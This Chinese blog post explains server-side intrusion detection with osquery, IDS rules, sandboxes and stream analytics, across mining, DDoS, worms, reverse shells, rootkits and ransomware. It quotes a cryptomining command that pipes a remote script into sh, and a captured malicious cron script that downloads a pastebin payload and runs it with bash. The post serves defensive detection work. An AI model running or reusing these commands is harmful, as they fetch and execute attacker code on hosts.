0x00、业务需求
企业IT架构数字化转型的大潮中,往往会面临各种各样的安全威胁,包括:系统和应用软件漏洞利用攻击,APT攻击,数据泄露,云服务器滥用,DDoS攻击等。同时为了应对速度越来越快的网络犯罪攻击,以及针对性攻击的多态化。为我们安全人员提出了更高的要求。
在做应急响应安全事件过程的过程中,确认攻击痕迹一般从以下几个方面:
0x01、服务器安全告警
在态势感知产品中,在服务器上部署EDR终端是一个很好的服务器安全量化的一个过程。因为我们在服务器上可以收集进程、端口、账号、软件以及文件目录基础的安全数据。通过这些基础数据通过后台大数据分析加工形成我们感知到威胁。
本篇主要从服务器端做检测,服务器端检测有以下优势:
- 单纯的网络层威胁检测无法和终端数据联动,形成的证据链可信度低。
- 加密连接,通过SSL的bash反连等,无法通过网络检测,需要深度学习检测,检测成本过高。
- threat hunting需求,可以更深入调查,包括获取恶意程序。
那么我们先从入侵行为分析开始:
- 失陷主机
检测思路:需要收集服务器端基础数据: 实时网络连接数据,同时需要商业威胁情报数据源。
实时网络连接数据,实验环境搭建:通过kolide+osquery+ElasticSearch+kibana。
实现步骤:
1、从服务器端获取基础外联网络数据。
2、通过flink或者spark streaming做实时Top进程、Top外联IP统计,分析所有服务器上传的外联孤岛数据,也可以编辑规则重点监控下载应用程序,或者下载对端的应用如果是HFS服务。需要重点关注。当然这里可以玩的playbook很多,需要用户自己挖掘。
3、从中获取到应有程序路径、对外连接IP信息,以及端口。通过IP地址查询威胁情报,如果对端IP地址使用的C2、Tor、VPN、SS等地址视为失陷主机。态势感知——服务器安全策略探索
- 对外可疑连接
检测思路:这里主要是增加内容特征,比如说:上传设备基本信息、发送攻击指令、获取公网IP地址、黑客攻击连接等。服务器端需要把恶意程序上传云查杀或者云沙箱做深入检测。
实验环境:Malice(支持Yara+多杀毒引擎集成+virustotal)+ClamAV +ElasticSearch+kibana。
IDS检测规则完善:
当然需要一个安全Team维护这个规则。
检测流程:
1、通过IDS检测到对外连接。
2、通过网络通讯进程关联到文件。
3、上传文件到云查杀系统中检测。如果发现病毒告警。
- 对外DDoS
检测思路:通过获取实时进程快照,网络对外连接快照,网络层获取其流量信息,同时也上传对应的进程文件到云查杀和云沙箱检测。在网络层检测通过IDS规则检测到对外DDoS攻击最多为:NTP反射攻击、memcache反射攻击。但是在服务器端检测会发现更多攻击方式,例如:CC攻击、SIP协议攻击、视频协议攻击、SYN Flood、ACK Flood等。当然需要客户端抓包进一步确认。
检测流程:
1、获取进程快照,网络对外连接快照,对外连接网络流量(需要驱动支持)或者获取总流量。
2、执行抓包程序,采集服务器端Pcap包,上传Pcap包样本到服务器端。
3、通过各种DDoS攻击规则过滤,如果发现预定的攻击类型。
- 挖矿检测
检测思路:特征是CPU占用率过高。通过上传进程快照,同时获取类似top命令CPU占用率信息。可以确定挖矿进程。当然还有 /bin/sh -c /usr/bin/curl -sL https://xmr.tgywl.cn|sh 直接挖矿。
检测流程:
1、获取进程快照,CPU占用率信息。
2、多次CPU占率过高的进程聚合。
3、上传文件到云查杀系统中检测。如果发现病毒告警。
4、复查各个端口被入侵的痕迹,如果产生以下攻击告警,需要大数据关联分析(flink or spark streaming)。
- 对外爆破
检测思路:关联网络层检测和服务器端检测相关进程。
检测流程:
1、获取进程快照,对外网络连接快照。
2、获取网络层面各种协议的暴力破解告警。
3、使用flink or spark streaming 做大数据关联分析。
- 蠕虫病毒
检测思路:如果存在对外扫描功能,通过大数据分析网络连接,短时间内过多连接视为可疑。
检测流程:
1、获取进程快照,对外网络连接快照。
2、获取网络层面对外可疑连接告警。
3、上传文件到云查杀系统中检测。进一步分析,发现病毒标记为蠕虫病毒告警。
- 反弹shell
检测思路:sh或者bash运行打开远程连接,视为反弹shell。
检测流程:
1、获取进程快照,对外网络连接快照。
2、查询语句。
- "behavioral_reverse_shell": {
- "query" : "SELECT DISTINCT(processes.pid), processes.parent, processes.name, processes.path, processes.cmdline, processes.cwd, processes.root, processes.uid, processes.gid, processes.start_time, process_open_sockets.remote_address, process_open_sockets.remote_port, (SELECT cmdline FROM processes AS parent_cmdline WHERE pid=processes.parent) AS parent_cmdline FROM processes JOIN process_open_sockets USING (pid) LEFT OUTER JOIN process_open_files ON processes.pid = process_open_files.pid WHERE (name='sh' OR name='bash') AND remote_address NOT IN ('0.0.0.0', '::', '') AND remote_address NOT LIKE '10.%' AND remote_address NOT LIKE '192.168.%';",
- "interval" : 600,
- "description" : "Find shell processes that have open sockets"
- },
- rootkit检测
我们先看一个入侵案例,以下脚本是用户放到定时任务中的经过base64加密的脚本,通过替换curl、wget实现进程网络通讯隐藏的目的。
- import os
- import os.path
- def GetDeps():
- if os.path.isfile('/usr/bin/url'):
- os.system("mv /usr/bin/url /usr/bin/curl")
- os.system("chmod 777 /usr/bin/curl")
- os.system("chmod +x /usr/bin/curl")
- if os.path.isfile('/usr/bin/get'):
- os.system("mv /usr/bin/get /usr/bin/wget")
- os.system("chmod 777 /usr/bin/wget")
- os.system("chmod +x /usr/bin/wget")
- if not os.path.isfile('/usr/bin/wget'):
- os.system("yum clean all")
- os.system("yum -y install wget")
- os.system("apt-get update")
- os.system("apt-get -y install wget")
- if not os.path.isfile('/usr/bin/curl'):
- os.system("yum clean all")
- os.system("yum -y install curl")
- os.system("apt-get update")
- os.system("apt-get -y install wget")
- if os.getuid()==0:
- GetDeps()
- os.system("(curl -fsSL https://pastebin.com/raw/JuBCmASZ||wget -q -O- https://pastebin.com/raw/JuBCmASZ)|bash%7Cbash)")
由于存在我们安装的服务器以前中过rootkit程序的情况。
检测流程
1、需要从远程下载wget\curl\ps\ls\netstat\ss等网络和文件检测工具
2、与本地对应的文件做对比检测找到diff。
3、如果存在Diff,证明存在rootkit的恶意行为,告警。
- 勒索软件
检测思路:
1、上传文件创建基础数据信息、上传进程快照信息。
2、统计平时文件创建数据,设置动态基础数据基线。
3、如果单台服务器创建量超出平时2倍以上,需要把对应的文件上传到云查杀分析,如果发现勒索软件病毒标签告警。
0x03、总结
服务器安全检测是一项非常繁琐,并且特殊情况比较多的工作,需要这些检测规则和手段自动化成威胁模型。同时,人工threat huning结果也要不断加入,形成正向反馈,良性循环。